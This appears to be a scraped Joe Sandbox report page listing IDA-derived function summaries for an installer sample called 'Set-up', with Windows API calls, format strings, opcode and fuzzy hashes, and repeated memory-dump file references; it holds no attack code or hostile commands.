Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
API String ID: 1033533793-945480824
Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: success ("%s"), xrefs: 00402263
Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: command="%s", xrefs: 00402241

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00011000,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

%u.%u%s%s, xrefs: 00404444
@rD, xrefs: 00404402

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 62d1a696c90b95282af5dc14f7046faf50b68b39d5c561db380251ecdb666397
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 62d1a696c90b95282af5dc14f7046faf50b68b39d5c561db380251ecdb666397
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
DeleteRegKey: "%s\%s", xrefs: 00402843

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

, xrefs: 004048DA
@rD, xrefs: 00404934

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

%02x%c, xrefs: 00406270
..., xrefs: 00406293

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Section: "%s", xrefs: 00405079
Skipping section: "%s", xrefs: 004050B5

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
